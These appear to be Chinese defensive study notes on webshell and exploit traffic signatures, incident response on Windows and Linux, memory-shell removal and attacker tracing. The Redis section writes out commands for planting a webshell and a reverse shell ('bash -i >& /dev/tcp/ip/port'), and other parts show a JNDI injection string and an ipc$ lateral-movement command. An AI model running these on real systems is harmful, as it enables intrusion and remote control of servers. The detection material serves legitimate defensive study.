-

Webshell工具流量特征?

冰蝎(Behinder)3.0

通过流量分析,该版本所有的流量特征中请求的开头都是yc8MNtAHgYXhSjykK5u2E

image-20250401210428864

冰蝎(Behinder)4.0

通过流量分析,该版本所有的流量特征中请求的开头都是yc8MNtAHgYXhSjykK5u2E

请求特征:

  • Header:必含 **Cookie: PHPSESSID=…**(PHP 版本)或动态密钥头(如 X-Auth-Key)。

并不是每个数据包都存在以下特征,这个特征是命令执行时的特征

编码格式 post流量特征 解密后内容
xor_base64 dFAXQV1LORcHRQtLRlwMAhwFTAg/M @error_reporting(0);……….
aes m7nCS8n4OZG9akdDlxm6O @error_reporting(0);……….
aes_with_magic m7nCS8n4OZG9akdDlxm6O @error_reporting(0);……….
xor 没连接成功 没连接成功

哥斯拉(Godzilla)1.6

请求特征:

  • Header:Content-Type: application/octet-stream 或自定义 MIME 类型。在请求包的Cookie中有一个非常致命的特征,最后的分号。
  • Body:XOR 加密 + 自定义填充,首字节为密钥长度标识(如 0x10 表示 16 字节密钥)。
  • URL:路径伪装为静态资源(如 /images/logo.png),参数名随机但格式为 _=timestamp。

响应特征:

  • 返回数据含 key 字段用于动态密钥交换,解密后包含 godzilla 关键字。

蚁剑(AntSword)2.8

请求特征:

  • Body:Base64 嵌套异或加密,常见 @ini_set 等 PHP 函数名,每个请求实体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符
  • 流量包由多个参数构成。其中一个参数为连接密码。后面的参数为随机生成的,如果蚁剑的请求中包含了多个参数,那个该参数的值为前两位混淆字符,需要删除前两位才能进行base64解码。

响应特征:

  • 返回数据为 Base64 编码,解密后含 antsuccessantoutput 标识。

菜刀(ChinaChopper)2023 魔改版

请求特征:

  • Header:Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2(经典特征)。
  • Body:eval(base64_decode($_POST[‘z0’])) 结构,参数名固定(如 z0, z1)。
  • URL:路径简短(如 /admin.php),参数值长度固定为 16 倍数。

响应特征

  • 返回明文 OK 或加密后的 %00 填充数据。

MSF

  • payload为windows/shell/reverse_tcp时,响应为明文。
  • payload为windows/meterpreter/reverse_tcp时,流量包中会有MZ和DOS模式异常字符。
  • 默认监听端口为4444,远程连接端口为大端口

CS

  • 心跳包 60s
  • 50050端口
  • 强特征,在流量中,通过http协议的url路径,经过checksum8解密算法计算后,32位的后门得到的结果是92,而64位的后门得到的结果是93

特征总结

工具 核心标识 检测难度
冰蝎 内置多个UA头,请求的开头都是yc8MNtAHgYXhSjykK5u2E,会携带Accept字段,请求体解密后 @error_reporting(0);…。请求的refer头实际不存在,端口较大,使用本地端口在49700左右,每连接一次,每建立一次新的连接,端口就依次增加 ★★★★☆
哥斯拉 三次请求包,第二次第三次Cookie最后有分号,参数就是 password ★★★☆☆
蚁剑 Base64 嵌套异或 + @ini_set(“display_errors”, “0”) 关键字 ★★☆☆☆
菜刀 eval(base64_decode) + 固定参数名 ★☆☆☆☆

判断是不是一个 webshell

  1. 上传了非业务的脚本文件
  2. 上传的代码文件存在混淆
  3. 存在加解密函数
  4. 微步等沙箱上传判断

漏洞流量特征

log4j2 流量特征

Log4j2 是 Apache 软件基金会开发的一个日志框架,广泛用于 Java 应用中记录运行时日志。漏洞主要源于 Log4j2 的日志处理功能中,某些特性(如 JNDI 注入)被攻击者滥用,从而引发严重的远程代码执行(RCE)漏洞。

Apache Log4j2 的 JNDI https://xz.aliyun.com/news/11723?time__1311=eqUxuQDtGQi%3DD%3DD7bD%2F%2BnRuDjo%3DQ%3DDgnijhoD&u_atoken=bf98110b6383762a98ab8b538b0fd69c&u_asig=ac11000117436813596651822e004aLookup 功能允许通过日志消息中的 JNDI 名称引用外部资源。攻击者可以构造包含恶意 JNDI 名称的日志消息,通过网络发送给受影响的应用程序。当 Log4j2 解析日志消息时,会尝试加载远程恶意脚本,从而RCE漏洞产生。

JNDI 注入

  • JNDI(Java Naming and Directory Interface) 是 Java 提供的一种目录服务 API,用于查找和加载资源或对象。

  • Log4j2 在日志功能中支持动态解析类似 ${} 的占位符字符串,提供了强大的灵活性。

  • 当日志字符串中包含 ${jndi:ldap://malicious-server} 时,Log4j2 会尝试通过 JNDI 去远程加载资源。如果目标是攻击者控制的恶意 LDAP 服务器,则攻击者可以返回恶意的 Java 类字节码,导致远程代码执行。

    该漏洞主要是由于日志在打印时当遇到${后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞

强特征

攻击者发送的数据包中可能存在${jndi:}字样

  • jndi注入,可以不是jndi,jndi有可能被拼接,但是一定有${},一般通过ldap远程加载class文件
  • 有时会出现在ua头,不在请求体
  • 检查网络流量和日志记录,检查IDS(入侵检测系统)
  • 检查DNS,有没有指向一个危险域名

漏洞修复

  1. 升级 Log4j2 版本
  2. 禁用 JNDI 功能
  3. 移除 JndiLookup
  4. 升级依赖软件

tomcat

8080

任意文件上传,远程代码执行、war后门文件部署 JBoss 反序列化漏洞、war后门文件部署

IIS

PUT漏洞、短文件名猜解、远程代码执行、解析漏洞

IIS6 C:\Windows\System32\LogFiles
IIS7 C:\inetpub\logs\LogFiles

Apache

解析漏洞、目录遍历 Nginx 文件解析、目录遍历、CRLF注入、目录穿越

错误日志为error.log,访问日志一般带有access.log

WebLogic T3反序列化

Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。类似于Tomcat、Jboss等。

在weblogic中反序列化漏洞主要分为两种,一种是基于T3协议的反序列化漏洞,还一种是基于XML的反序列化漏洞

反序列化漏洞SSRF任意文件上传war后门文件部署

  1. ssrf漏洞特征

  2. 会出现特征关键词 t3,rmi,ldap

  3. 提取的规则字段为:http_client_body ,提取的时候,这个关键字可以用hex来提取。

Shiro

Shiro 默认使用了 CookieRememberMeManager,其处理 cookie 的流程是:得到 rememberMe 的 cookie 值–>Base64 解码–>AES 解密–> 反序列化。然而 AES 的密钥是硬编码的,密钥泄漏的根本原因是开发人员在开发过程中部分代码直接使用了网上的一些开源的项目代码,就导致了攻击者可以构造恶意数据造成反序列化的 RCE 漏洞。

CVE-2016-4437的攻击流量特征有

  1. 请求包Cookie的rememberMe中会存在AES+base64加密的一串java反序列化代码。
  2. 返回包中存在base64加密数据,该数据可作为攻击成功的判定条件。
  3. 命令执行后返回包有多个 $ 符号
  4. 传不死马返回包有 success ,请求包有个p字段,字段值就是连接密码
  5. 爆破密钥失败的话返回包的 cookie 字段rememberMe=deleteme,爆破成功的话返回包没有 rememberMe 字段

a. shiro550:登陆成功后cookie中的rememberMe字段是经过序列化、aes加密、base64编码处理的,服务端获取它并进行反方向处理,而低版本的aes的密钥是硬编码可以在代码中找到,攻击者伪造恶意的序列化对象作为cookie发送,服务端进行处理时可以造成反序列化漏洞。我们使用exp伪造cookie可以进行命令执行。 (不需要已知remberme字段值)

b. shiro721:登录成功后cookie中的rememberMe字段是经过序列化、AES-128-CBC加密处理的,这里的aes的密钥是随机生成的,但是我们可以通过Padding Oracle加密生成的攻击代码构造恶意的rememberMe字段(原始的rememberMe作为前缀加载ysoserial生成的payload进行攻击),服务端在处理时产生反序列化漏洞,进而可以进行命令执行等。(需要已知remberme,也就是要登录成功)

Shiro-550:硬编码导致,Shiro-721:算法导致

redis

攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。

6379

1
2
3
1、对方redis远程连接开启

2、对方redis未设置密码或者密码泄露
  1. 绝对路径写webshell —有无认证均可
    1
    2
    3
    4
    5
    6
    7
    8
    9
    redis-cli -h 192.168.3.134 #连接

    Redis config set dir /www/admin/localhost_80/wwwroot #设置要写入shell的路径

    set xxx “\n\n\n<?php phpinfo() ;?>\n\n\n” #写入phpinfo()到xxx键

    config set dbfilename phpinfo.php

    save
  2. redis主从复制getshell
    1
    2
    3
    4
    5
    config set dir /tmp/ //设置文件路径为/tmp/
    config set dbfilename exp.so //设置数据库文件名为:exp.so
    slaveof vpsip port //设置主redis地址为 vpsip,端口为 port
    module load /tmp/exp.so
    system.exec 'bash -i >& /dev/tcp/ip/port 0>&1'
  3. SSRF打redis
    • gopherus直接打redis
    • dict协议打redis

fastjson

fastjson 在解析 json 的过程中,支持使用 autoType(自动识别类型) 这个功能来读取 @type 的内容,并根据 @type 的内容来实例化某一个具体的类。这个过程中允许 JSON 数据直接控制 Java 的类加载器行为,从而创建任何类型的对象,通过这个过程只需要构造一个恶意利用链的方式达到命令执行的目的

使用了伪协议,反序列化

a. 首先我们来看一下ChatGPT对常见的几种伪协议的解释: ⅰ. JNDI伪协议:将一个Java对象绑定到一个JNDI上下文中,攻击者 可以通过构造恶意的JSON字符串绑定一个恶意对象到JNDI上下文中,从而在反序列化时进行远程代码。 ⅱ. Idap伪协议:将一个Java对象绑定在Idap目录中,攻击者可以通过构造恶意的JSON字符串,绑定一个恶意对象到LDAP目录中,从而执行反序列化代码。 ⅲ. Rmi伪协议:该协议通过远程调用Java Rmi服务,攻击者 可以通过 构造Json字符串,调用一个恶意的RMI服务,从而在反序列化中执行远程代码。

b. 上述三种协议了解即可,fastjson使用了Rmi和Idap协议

c. 调用的是JSON.parseObject(json,User.class)函数

  1. 请求报文中查找json格式的数据,重点看有无rmi或者出网的一些行为
  2. 数据包体里面会有@type,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型
  3. 查看网站源代码搜索关键词。
  4. 开发者工具,查看请求代码是否存在”com.alibaba.fastjson或者fastjson

Struts2

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

流量特征

  1. poyload存放在请求头的content-type中,正常content-type是代表的类型
  2. content-type会显得非常长、会有一些java命令
  3. 有回显的

应急响应

image-20250413200145509

应急响应模型

  1. 准备阶段
    • 应急团队建设
    • 应急方案制定
    • 渗透测试评估
    • 安全基线检查
  2. 检测阶段
    • 判断事件类型
    • 判断事件级别
    • 确定应急方案
  3. 抑制阶段
    • 阻断:ip地址,危险主机
    • 关闭:可疑进程,服务
    • 删除:违规账号,木马
  4. 根除阶段
    • 增强策略,监控
    • 修复漏洞
    • 还原操作系统,业务系统
  5. 恢复阶段
    • 恢复业务,用户,网络数据
  6. 总结阶段
    • 事件总结,报告输出,应急优化

流程

  1. 收集信息:收集客户信息和中毒主机信息,包括样本

  2. 判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等

  3. 抑制范围:隔离使受害面不继续扩大(做好隔离)

  4. 深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源

  5. 清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产

  6. 产出报告:整理并输出完整的安全事件报告

eg:windows服务器入侵排查实战

入侵行为:被挂黑页

  1. 先恢复网站,删除木马。

  2. 再做排查

    • 账号排查
      • 正常用户 net user 能看到(Windows/system32/config下的sam文件有用户密码)
      • 隐藏用户net命令看不到,但是在控制面板、lusrmgr.msc、用户组中能看到,用户名特征是结尾有 $ 符号
      • 影子用户只有注册表中能看到
    • 日志排查

    日志查看:windows可以通过自带的事件查看器去管理事件,eventvwr.msc(Win10以上直接搜索事件查看),这些窗口里的东西保存在Winodws\System32\Configure——–windows2000/xp,Windows\System32\winvert\Logs—-windows7以上,熟悉日志路径:*.evtx。我们要定期备份日志安全ID:SYSTEM,在信息里查看服务,木马会生成服务,我们自己配置过木马。看东西进行筛选可以通过事件ID进行筛选

    RDP远程登陆:

    黑客如果通过远程去登陆计算机、那么黑客的电脑和我的电脑都会产生相应的事件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    4624-登陆成功

    4648-明文尝试登陆

    4778-重新连接

    4779-断开连接

    1149-用户验证成功

    黑客要知道用户名和密码去实现远程桌面登陆,我们可以在日志中看到黑客是在什么时候登陆的

    简述:

    日志查看、信息里查看服务、排查时间ID进行筛选

    • 网络排查

      • netstat -ano
      • netstat -anob

      丢进蓝队工具箱提取ip => 威胁情报查看是否是恶意ip => 根据恶意ip去下一步排查进程 pid

    • 进程排查

      • 获取进程pid(任务管理器)
    • 注册表排查

      • 查用户自启动项
      • 镜像劫持
    • 系统相关信息排查

      • 计划任务
      • 服务
      • 可疑文件
  3. 修复漏洞

**eg2:**Linux 应急响应

  1. 系统信息收集

    • 版本内核 cat /etc/os-release ,uname -a
    • 用户信息 /etc/passwd (无用户密码)
    • 影子文件 /etc/shadow (有用户密码)
    • 重点查看目录 /tmp,/var/tmp,/root,/home
    • 异常端口 netstat
    • 异常进程 ps aux | grep id
    • 启动项文件
  2. 入侵排查

    • 查询特权用户(uid=0)
    • 查询可以远程登录的账号信息
    • 看看除root外有没有其他账号存在 sudo 权限,有的话删掉
    • 禁用或者删除可疑账号
    • 查看历史命令 history,.bash_history
  3. 查看日志

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

日志文件 说明
/var/log/cron 记录了系统定时任务相关的日志
/var/log/cups 记录打印信息的日志
/var/log/dmesg 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog 记录邮件信息
/var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

总结

Linux

  • 审查常见中间件的日志,如apache、nginx、redis、mysql等
  • 审查开机启动和登录启动配置文件
  • 审查所有用户的命令历史记录
  • 审查用户信息文件和影子文件
  • 审查定时任务
  • 熟练使用常见的运维面板,如宝塔面板、1Panel等
  • 熟练使用Linux三剑客过滤webshell、flag、IP等关键字
  • 审查数据库中的用户表,查找篡改用户

Windows

  • 全盘搜索可疑文件,批处理文件、可执行文件、office文件、压缩文件等
  • 检查粘滞键(敲击5次shift键)是否被替换
  • 使用WindowsLog_Check或者Log Parser分析系统登录日志,查找可疑IP地址、可疑用户名
  • 进程管理器检查系统占用率、可疑进程
  • 资源管理器开启显示隐藏文件,查找可疑文件
  • netstat -ano查看已建立的连接,查找可疑端口
  • 从注册表中查找隐藏用户,并在隐藏用户的家目录下查找可疑文件
  • 使用火绒剑辅助检查启动项、计划任务、服务、网络连接
  • 使用D盾河马等工具检测网站源码是否存在后门,或者使用dnGREP搜索webshell的关键字
  • 使用遥知辅助分析nginx和apache日志,过滤频繁出现的IP地址、可疑请求
  • 审查网站数据库,尤其和用户相关的表,查找可疑字段

工具

ProcessHacker

功能:ProcessHacker 是一款不错的进程分析工具,可查看所有进程信息,包括进程加载的 dll、进程打开的文件、进程读写的注册表……,也可以将特定进程的内存空间 Dump 到本地,此外还可以查看网络连接。

ProcessExplorer

功能:ProcessExplorer 是一款不错的进程分析工具,微软官方推荐工具,稳定性和兼容性相对不错。可查看所有进程的信息,包括其加载的 dll、创建的线程、网络连接……,同样可以 Dump 出进程的内存空间到本地。

ProcessMonitor

功能:ProcessMonitor 是一款实时刷新的进程信息监控工具,微软官方推荐工具,稳定性和兼容性也是相对出色。展示的信息很全面,且每一个打开的句柄、注册表、网络连接…… 都与具体的进程关联起来。

PCHunter

功能:XueTr 的增强版,功能和 XueTr 差不多,可参考上图。推荐更多使用 PCHunter,减少出故障的概率。

Wireshark

功能:Wireshark 是一款常用的网络抓包工具,同时也可以用于流量分析。

AutoRuns

功能:一款不错的启动项分析工具,微软官方推荐。只要涉及到启动项相关的信息,事无巨细,通通都可以查询得到,非常方便找到病毒的启动项。

FastIR

功能:收集操作系统的关键日志、关键信息,方便后续取证和排查分析。

Hash

功能:文件 hash 计算工具,可计算文件 MD5、SHA1、CRC 值,可用于辅助判断文件是否被篡改,或者使用哈希值到威胁情报网站查看是否为恶意文件。

如何检测 Java 内存马

内存马排查思路

  1. 先查看检查服务器web日志,查看是否有可疑的web访问日志,比如说filter或者listener类型的内存马,会有大量url请求路径相同参数不同的,或者页面不存在但是返回200的请求。

  2. 如在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的error.log日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。

  3. 查看是否有类似哥斯拉、冰蝎特征的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。

  4. 通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马。

简述

首先排查web日志文件,日志中没有排查中间件漏洞导致的,排查中间件的error.log日志,查看是否又哥斯拉和冰蝎流量特征,查看返回200的url路径是否在web下真实存在,不存在大概率是内存马。

内存马特征的识别

通过分析网络流量,可以识别出潜在的内存马活动。以下是一些常见的可疑流量特征:

  1. 异常请求路径和状态码
  • GET 请求: 访问不存在的路径,但返回 404 状态码,同时携带可疑参数,例如 /memshell?cmd=calc,其中 /memshell 路由并不存在,但请求却可能被执行。

  • POST 请求: 访问正常路径,返回 200 状态码,但请求体中包含恶意命令,且命令被成功执行。
    示例: 攻击者可能会尝试通过访问 /shell, /cmd, /hack, /test 等不存在的路径,并携带参数执行命令。
    动态变化的数据包大小: 内存马在执行命令或返回结果时,会导致数据包大小发生动态变化,这是内存马活动的典型特征。

  • 特殊的 User-Agent 或 Referer 字段: 攻击者有时会使用特殊的 User-Agent 或 Referer 字段来标识或控制内存马。

  • 异常的响应时间: 内存马执行命令可能导致响应时间变长或不稳定。

  1. 代码特征分析

通过分析 Web 应用的 Class 文件、Jar 包以及运行时内存数据,可以发现潜在的内存马代码。以下是一些常见的可疑代码特征:

  • 连接密码: 内存马通常会设置连接密码,用于远程控制和执行命令。例如,代码中可能存在 password, key, token 等字符串,用于身份验证。
  • 自定义路由: 内存马会注册自定义的路由,用于接收攻击者的指令。例如,代码中可能存在 @WebServlet, @RequestMapping 等注解,用于映射 URL 到恶意代码。
  • 加解密操作: 为了隐藏恶意代码和通信内容,内存马通常会使用加解密算法,例如 AES、Base64 等。代码中可能存在 javax.crypto, java.util.Base64 等相关的类和方法。
  • 恶意的代码执行: 内存马的核心功能是执行恶意命令。代码中可能存在 Runtime.getRuntime().exec(), ProcessBuilder 等方法,用于执行系统命令。
  • 动态注册组件: 内存马可能会利用 Java 反射机制动态注册 Filter、Servlet、Listener 等组件,例如 ClassLoader.defineClass(), Class.forName() 等方法。
  • 可疑的类名和包名: 内存马的类名和包名通常会伪装成正常的类,但可能包含一些可疑的关键词,例如 shell, cmd, hack, util 等。

查杀

基于 Java Agent 技术的内存马查杀

前面已经提到了java agent可以动态的修改字节码用来动态注册内存马,当然也可以用该技术处理内存马。

工具一:通过 JSP 脚本扫描 Java Web Filter/Servlet/Listener 类型内存马
  • 工具地址: 通过jsp脚本扫描java web Filter/Servlet/Listner类型内存马

  • 原理: 该工具通过 JSP 脚本实现,利用反射机制遍历 Tomcat 容器中的 Filter、Servlet 和 Listener,并检查它们的 ClassLoader 是否与正常的 ClassLoader 一致。如果 ClassLoader 不一致,则可能存在内存马。

  • 使用方法:

    1. 下载项目中的 tomcat-memshell-scanner.jsp 文件。
    2. 将 tomcat-memshell-scanner.jsp 文件上传到目标 Tomcat 服务器的 Web 应用目录下。
    3. 通过浏览器访问 tomcat-memshell-scanner.jsp 文件,例如:http://127.0.0.1:8088/FilterShell_war_exploded/tomcat-memshell-scanner.jsp。
    • 重启服务器

    • 哥斯拉注入的是 servelet 注入到路由里,删除路由即可(tomcat-memshell-scanner.jsp 扫描网站)

    • 冰蝎注入的是 agent,删除class即可(arthas retransform 重新加载jvm里的类,可以用lib下的jar包里的,也可以直接删除)

    arthas 主要命令

    • sc - 查看 JVM 已加载的类信息

    • jad - 反编译指定已加载类的源码

    • retransform - 加载外部的.class文件替换内存马,retransform jvm 已加载的类

    1
    2
    3
    4
    5
    classloader
    sc *.Filter
    sc *.Servlet
    jad
    heapdump

溯源

溯源反制思路

a. 流量溯源思路:可利用流量工具进行溯源: ⅰ. 1、查看 eval、z0、shell、whoami 等关键字,查看出现次数过多的时候,可能 需要查看是哪个 页面发起的请求,有可能是 webshell ⅱ. 2、通过 WireShark 工具快速搜索关键字,定位到异常流量包 ⅲ. 3、找出异常 IP 和所上传的内容,查看是否为 webshellb. 身份溯源思路: ⅰ. 旁站查询 ⅱ. 网络id带入QQ群查询

溯源思路

溯源的第一步通过域名ip反查目标的个人信息,一般通过微步社区或者奇安信威胁情报中心可以查询,通过域名可以查询whois注册信息,或许可以获得一些邮件等一些信息。通过站长之家查询下属域名。如果能查到一些攻击者相关ID可以通过社交账号进行搜索。攻击者如果上传了攻击程序,通过恶意程序分析网站比如微步在线云沙箱,腾讯哈勃等来进行分析。

流量溯源分析思路

可利用流量工具进行溯源: 1、查看 eval、z0、shell、whoami 等关键字,查看出现次数过多的时候,可能 需要查看是哪个 页面发起的请求,有可能是 webshell 2、通过 WireShark 工具快速搜索关键字,定位到异常流量包 3、找出异常 IP 和所上传的内容,查看是否为 webshell

3 如何定位到攻击IP

1、首先通过选择 - 统计 - 对话查看流量的走向情况,定位可疑的 IP 地址

2、根据定位到的 IP 地址,尝试对上传的 webshell 进行定位 ip.addr ==ip &&http matches “uploadleval|select|xp_cmdshell”&& http.request.method == “POST”

3、查找到 Webshell 后尝试溯源漏洞位置,http.request.uri contains“webshell.php”,定位到最 开始 webshell 执行或上传的时候

4、根据最开始的 HTTP 上传包或者其他漏洞特产定位漏洞类

5、针对服务器中的日志,利用正则来发现一些危险操作的IP

6、使用wireshake进行流量分析,找到一些危险操作的IP

7、使用蜜罐进行一些诱导操作

8、找到webshell进行溯源,定位到webshell的上传服务器

9、一些钓鱼邮件没有伪装好,会暴露自身的IP地址

10、有些时候服务器中被上传了一些工具,可以根据一些工具(可能是对方自写)来进行搜集信息,比如去github看看。

11、社工库等。。。。

4 溯源常用的工具

1、Rootkit 查杀:http://www.chkrootkit.org

2、Clamav 查杀:http://www.clamav.net/download.html

​ Clam AntiVirus是一个Linux系统上使用的反病毒软件包。

​ 主要应用于邮件服务器,采用多线程后台操作,可以自动升级病毒库。 yum安装

3、河马 webshell 查杀:http://www.shellpub.com

深信服 Webshell 网站后门检测工具:http://edr.sangfor.com.cn/backdoor_detection.html

内网

横向渗透命令执行手段

我们可以通过ipc链接来进行一个横向渗透建立 ipc$ 连接的条件:

目标主机开启了139和445端口

目标主机管理员开启了ipc$默认共享

这里我们已知用户名和密码,我们掌握了一台主机,现在通过这台主机链接它域内的另一台

net use \目标主机IP\ipc$ “密码” /user:”administrator”

黄金票据和白银票据

黄金票据

Kerberos黄金票据是指攻击者通过攻击目标主机的 Kerberos 服务,获取了有效 TGT (Ticket-Granting Ticket) 的凭证,从而能够有效绕过其他系统控制机制而直接访问目标系统的所有资源。攻击者通常会在目标主机上运行恶意软件或使用其他恶意攻击手段,通过收集系统中存在的凭证或使用暴力破解等方式获取有效 TGT 凭证。

制作金票的条件: 1、域名称 2、域的SID值 3、域的KRBTGT账户密码HASH 4、伪造用户名,可以是任意的

白银票据

白银票据指的是攻击者通过获取受害者系统中的普通凭证,然后利用这些凭证将自己伪装成普通用户并以用户权限运行,从而获取受害者系统中一部分敏感资源或特权操作的方式。与黄金票据不同,白银票据无法直接绕过系统保护机制或获取超级管理员权限,但利用这种票据,攻击者仍然可能对目标系统造成损害。

比如mimikaz这类可以窃取普通凭证

常用安全事件 ID 分类汇总


1. 系统事件(System Events)

事件ID 说明
1074 记录系统关机、重启或计划任务触发的关机操作,包含原因和发起者。
6005 事件日志服务启动,表示系统正常启动。
6006 事件日志服务停止,表示系统正常关机。
104 日志被清除(需警惕攻击者清除痕迹)。
7036 服务状态变更(如服务启动/停止)。

2. 登录/注销事件(Logon/Logoff)

事件ID 说明
4624 用户登录成功(记录登录类型,如本地、远程、RDP等)。
4625 用户登录失败(可用于检测暴力破解)。
4634 用户注销。
4647 用户主动注销(如 logoff 命令)。
4648 使用显式凭据登录(如 runas)。
4672 使用特权账户登录(如 Administrator)。

登录类型(Logon Type)参考:

  • 2 - 本地交互登录(键盘输入)
  • 3 - 网络登录(如共享文件夹访问)
  • 4 - 批处理任务(计划任务)
  • 5 - 服务登录
  • 7 - 解锁屏幕
  • 10 - 远程交互登录(RDP)

3. 账户管理事件(Account Management)

事件ID 说明
4720 用户账户创建。
4722 用户账户启用。
4723 用户账户密码更改尝试。
4724 用户账户密码重置。
4725 用户账户禁用。
4726 用户账户删除。
4738 用户账户属性更改(如用户名)。
4740 锁定账户(如多次密码错误)。
用户组变更事件
事件ID 说明
4727 安全组创建。
4737 安全组修改。
4739 域策略更改(如域密码策略调整)。
4762 用户添加到组。

4. 其他关键安全事件

事件ID 说明
1102 安全日志被手动清除(需警惕攻击痕迹清除)。
4688 新进程创建(记录命令行,可用于检测恶意进程)。
4698 计划任务创建。
4702 计划任务更新。
5140 网络共享访问(记录访问文件/文件夹)。
5156 Windows 防火墙规则修改。

5. 可疑/攻击相关事件

事件ID 说明
4611 系统时间被修改(攻击者可能掩盖行踪)。
4673 特权服务调用(可能提权攻击)。
4697 服务安装(可能后门植入)。
4768 Kerberos 认证票证请求(可用于检测黄金票据攻击)。
4769 Kerberos 服务票证请求(可用于检测白银票据攻击)。

如何查询事件日志?

  1. 使用事件查看器

    • Win + R,输入 eventvwr.msc
    • 筛选特定事件 ID(如 4625 查看登录失败)。
  2. 使用 PowerShell

    powershell

    复制

    1
    Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624, 4625} -MaxEvents 100
  3. 日志分析工具

    • Sysmon(增强日志记录)
    • ELK Stack(大规模日志分析)
    • **Windows Event Forwarding (WEF)**(集中收集日志)

总结

  • 登录审计:重点关注 4624(成功)、4625(失败)。
  • 账户变更:监控 4720(创建)、4726(删除)。
  • 日志篡改:警惕 1041102(日志清除)。
  • 可疑行为:检查 4688(新进程)、4698(计划任务)。

建议定期备份日志,并结合 SIEM(如 Splunk、Azure Sentinel)进行自动化分析。

补充问题

应急响应,应急处置

  1. webshell/⽊⻢病毒/勒索病毒等该如何进⾏处置?
  • 收集主机信息(系统日志(Windows事件ID 4688/5140;Linux /var/log/auth.log),搭建了什么服务(apache,nginx,iss),排查用户(有隐藏用户或者影子用户就删除),排查网络连接(看看大端口有没有c2连接,找到对应pid),排查进程(删除c2出网pid),排查计划任务,以及启动项)=> 抑制,隔离感染主机(临时关闭Web服务) => 删除恶意文件,更新web应用,升级或者打补丁 => 产出报告
  • 木马的话也是看进程,有没有外连ip,隐藏进程什么的,然后隔离主机
  • 挖矿,1)执行top命令,查看CPU占用情况,有无异常 2)查找恶意文件样本,并确定程序的运行时间 3) 首先获取恶意域名(微步在线、360威胁情报中心…获取),从而根据域名确定木马类型 4)处理异常进程并删除恶意文件,最后排查是否有可疑的计划任务、自启动
  • 勒索病毒
  • 1)首先就是物理断网、隔离主机,然后判断勒索病毒存活,可以通过创建几个.exe .txt空白文件看是否会被加密判断存活 2)排查业务系统,了解勒索病毒加密时间、中招范围以及影响程度 3)可以根据预留文件、预留邮箱判断出攻击团伙,对后续的溯源也有很大的帮助 4)分析勒索程序,获取ip、域名相关信息,上传至威胁情报中心查询 5)可以将勒索程序上传到一些勒索病毒搜索引擎,比如360、深信服,看能不能进行解密。
  1. 查杀病毒/扫描webshell/等等⽤到什么⼯具?

    火绒,360.河马,D盾

  2. 如何检查异常的⽹络/端⼝/进程?

    1
    2
    3
    4
    5
    6
    7
    8
    Windows:
    netstat -ano | findstr ESTABLISHED # 查看活动连接
    netstat -ano | findstr LISTENING # 查看监听端口
    netstat -ano | findstr "1.1.1.1" # 替换为可疑外连
    任务管理器看进程
    Linux:
    lsof -i -P -n | grep ESTABLISHED # 查看已建立的连接
    ps aux | grep -v "\[" # 排除内核线程
  3. 大量报警怎么办

    态势感知导出告警,分析连续出现的ip或者高危攻击行为(看请求参数,请求路径,返回包状态码)。

Linux

  1. 查看历史命令

    history , cat ~/.bash_history

  2. 查看资源占用

    top,free,df -h,du -h –max-depth=1

  3. 查看计划任务(高频)

    crontab -l,more /etc/crontab

  4. 查看账户

    /etc/passwd,/etc/shadow,lastlog

  5. 查看当前系统用户对话

    w,who

  6. 查看进程和端口

    netstat,lsof -i:22(22端口使用情况),lsof -p 553(513进程对应的执行文件),ps -A显示所有进程

  7. 查看 hosts 文件

    /etc/hosts

  8. 查看环境变量和启动项

    env,/etc/rc.local

Windows

  1. 资源占用,任务管理器

  2. 账户信息 net user,控制面板用户组,注册表

  3. 查看进程和端口,netstat -ano | findstr “ESTABLISHED”

  4. hosts 文件 C:\Windows\System32\drivers\etc\hosts

  5. 查看计划任务(重点) taskschd

  6. 日志

    日志路径:C:\Windows\System32\winevt\Logs

    必看日志:Security.evtx、System.evtx、Application.evtx

后⻔分析

